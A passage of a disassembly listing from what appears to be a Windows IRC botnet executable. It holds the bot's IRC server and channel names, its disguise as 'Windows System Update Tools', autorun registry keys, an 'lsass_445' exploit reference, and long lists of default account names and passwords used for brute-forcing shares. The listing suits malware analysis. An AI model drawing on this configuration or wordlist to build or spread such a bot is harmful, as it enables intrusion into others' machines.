aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40DDD4+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40DF52+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40DF52:loc_40E01Eo
aStarting	db '   Starting',0      ; DATA XREF: sub_40DF52:loc_40E017o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40DF52:loc_40E010o
aRunning	db '    Running',0      ; DATA XREF: sub_40DF52:loc_40E009o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40DF52:loc_40E002o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40DF52:loc_40DFFBo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40DF52:loc_40DFF4o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40DF52+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40DF52+25o
		align 4
unk_42E554	db    2			; DATA XREF: sub_40E08F+ABo
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSNoShareSpecif	db ' %s: No share specified.',0
		align 4
unk_42E58C	db    2			; DATA XREF: sub_40E08F+89o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSShareS_	db ' %s share: ',27h,'%s',27h,'.',0
		align 4
unk_42E5BC	db    2			; DATA XREF: sub_40E08F+57o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSErrorWithShar	db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40E284+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_40E284+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_40E284+B5o
unk_42E618	db    2			; DATA XREF: sub_40E284+76o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aShareListError	db ' Share list error: %s <%ld>',0
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40E284+26o
		align 4
unk_42E688	db    2			; DATA XREF: sub_40E3A5+B6o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSNoUsernameSpe	db ' %s: No username specified.',0
unk_42E6C0	db    2			; DATA XREF: sub_40E3A5+94o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSErrorWithUser	db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
		align 10h
unk_42E700	db    2			; DATA XREF: sub_40E3A5+6Do
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSUsernameS_	db ' %s username: ',27h,'%s',27h,'.',0
unk_42E730	db    2			; DATA XREF: sub_40E4EB+394o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUserInfoErrorL	db ' User info error: <%ld>',0
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40E4EB+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40E4EB+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40E4EB+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40E4EB+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40E4EB+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40E4EB+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40E4EB+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40E4EB+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40E4EB+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40E4EB+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40E4EB+1CBo
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40E4EB+1A0o
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40E4EB+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40E4EB+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40E4EB+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_40E4EB:loc_40E604o
		align 10h
aUser_0		db 'User',0             ; DATA XREF: sub_40E4EB:loc_40E5FDo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40E4EB:loc_40E5F6o
					; ___:0042EEECo ...
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40E4EB+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40E4EB+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40E4EB+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40E4EB+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E8B9+14Fo
		align 4
unk_42E8FC	db    2			; DATA XREF: sub_40E8B9+F7o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAnAccessViolat	db ' An access violation has occured.',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_40E8B9+BEo
		align 4
unk_42E944	db    2			; DATA XREF: sub_40E8B9+7Ao
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aUserListErrorS	db ' User list error: %s <%ld>',0
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E8B9+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40EA39:loc_40EB56o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40EA39:loc_40EB4Fo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40EA39:loc_40EB48o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40EA39:loc_40EB41o
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40EA39:loc_40EB3Ao
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40EA39:loc_40EB1Do
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40EA39:loc_40EB16o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40EA39:loc_40EB0Fo
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40EA39+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40EA39:loc_40EAE4o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40EA39:loc_40EADDo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40EA39:loc_40EAD6o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40EA39:loc_40EACCo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40EA39+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40EA39:loc_40EAA6o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40EA39:loc_40EA9Co
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40EA39:loc_40EA92o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40EA39:loc_40EA88o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40EA39:loc_40EA7Eo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40EA39+3Bo
		align 10h
unk_42EC60	db    2			; DATA XREF: sub_40EB6D+ABo
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSServerSMessag	db ' %s <Server: %S> <Message: %S>',0
		align 4
unk_42EC9C	db    2			; DATA XREF: sub_40EB6D+81o
		db 74h,	2, 72h
		db  6Eh	; n
		db 28h,	30h, 31h
		db  61h	; a
		db 29h,	20h, 5Bh
		db  6Eh	; n
		db 65h,	74h, 2Eh
		db  6Dh	; m
		db 1Fh,	64h, 1Fh
		db  6Ch	; l
		db 5Dh,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aMessageSentSuc	db ' Message sent successfully.',0
		align 8
dword_42ECD8	dd 0D6DBh						; ___:0040F293r
dword_42ECDC	dd 0D6DCh	dword_42ECE0	dd 17D2h	dword_42ECE4	dd 45h							; sub_40F6F1+5560r
dword_42ECE8	dd 2327h						; sub_40F6F1:loc_414D4Ar
		dd 8234h
dword_42ECF0	dd 1		dword_42ECF4	dd 1							; ___:0040EFA1r
byte_42ECF8	db 2Eh			; DATA XREF: sub_40D583:loc_40D58Fr
					; sub_40F6F1+AFCr ...
		align 4
dword_42ECFC	dd 6							; sub_415F27+51r ...
dword_42ED00	dd 2							; sub_40F6F1+27Cr ...
dword_42ED04	dd 1							; sub_40F6F1+276r
dword_42ED08	dd 1		dword_42ED0C	dd 1							; sub_40F326+101r
a4492		db '4492',0             ; DATA XREF: sub_40327E+9Ao
		align 4
aArrapao	db 'arrapao',0          ; DATA XREF: sub_40327E+95o
aArrapato	db 'arrapato',0         ; DATA XREF: sub_40327E+90o
		align 10h
aLsass_445	db 'lsass_445',0
byte_42ED3A	db 1			; DATA XREF: sub_40F6F1:loc_41483Er
					; sub_40F6F1+5157o
aLs1ls		db 'ls1ls',0
		align 4
		dd 736D0100h, 737361h, 0
		dd 6F636401h, 3533316Dh, 1000000h, 3 dup(0)
dword_42ED68	dd 1		aArra		db 'arra',0             ; DATA XREF: ___:0040EC95o
					; sub_40F6F1+3F38o ...
		align 4
aNzmPrivRelease	db 'NzM Priv Release by Ud2',0 ; DATA XREF: sub_40F6F1:loc_4157E1o
aC0d1am0z3	db 'c0d1am0z3',0        ; DATA XREF: sub_40F6F1+62B9o
					; sub_40F6F1+6388o
		align 4
aPriv_gigaservi	db 'priv.gigaservice.it',0 ; DATA XREF: ___:0040F1CBo
					; ___:0040F284o
aSodoma_3	db '##sodoma_3',0       ; DATA XREF: sub_402B92:loc_402BACo
					; sub_402CA9:loc_402CC3o ...
		align 4
aS0dom4j03	db 's0dom4j03',0        ; DATA XREF: ___:0040F203o
					; ___:0040F2ACo
		align 4
byte_42EDC4	db 75h			; DATA XREF: sub_40327E+84o
					; sub_403BE2+Fo ...
		db 70h,	64h, 73h
		dd 6578652Eh, 0
		dd 646E6957h, 3173776Fh, 7379732Eh, 0
aWindowsSystemU	db 'Windows System Update Tools',0 ; DATA XREF: sub_40C738+Eo
					; ___:0040EFCCo
aUpds		db 'upds',0
		align 4
aXtIb		db '-xt+iB',0           ; DATA XREF: sub_40F6F1+6401o
		align 4
aSodoma_3e	db '##sodoma_3e',0      ; DATA XREF: sub_40F6F1:loc_412A85o
					; sub_40F6F1+5312o ...
aSodoma_3s	db '##sodoma_3s',0      ; DATA XREF: sub_40F6F1+4942o
					; sub_40F6F1+4997o
aSodoma_3s_0	db '##sodoma_3s',0      ; DATA XREF: sub_40F6F1+1DFBo
					; sub_40F6F1+1F68o
aSodoma_3t	db '##sodoma_3t',0      ; DATA XREF: sub_40B0E7+33Co
off_42EE3C	dd offset a@arrapao	; DATA XREF: sub_40F6F1:loc_4159F4o
					; "*@arrapao"
off_42EE40	dd offset aIrofferV1_3b10 ; DATA XREF: sub_40F6F1+8C9r
					; sub_40F6F1+631Fo
					; "iroffer v1.3b10 [Ud2	23874155], http://"...
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_416561+28o
					; sub_416885+28o
		align 4
aSystemCurren_0	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_416561+D4o
					; sub_416885+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 10h
off_42EF40	dd offset byte_43C63C	; DATA XREF: sub_404969:loc_404A00r
					; sub_404969+A8o ...
		dd offset byte_43C63C
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_1	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_1	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_0		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin_1	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_4343A8	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset a0		; "0"
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
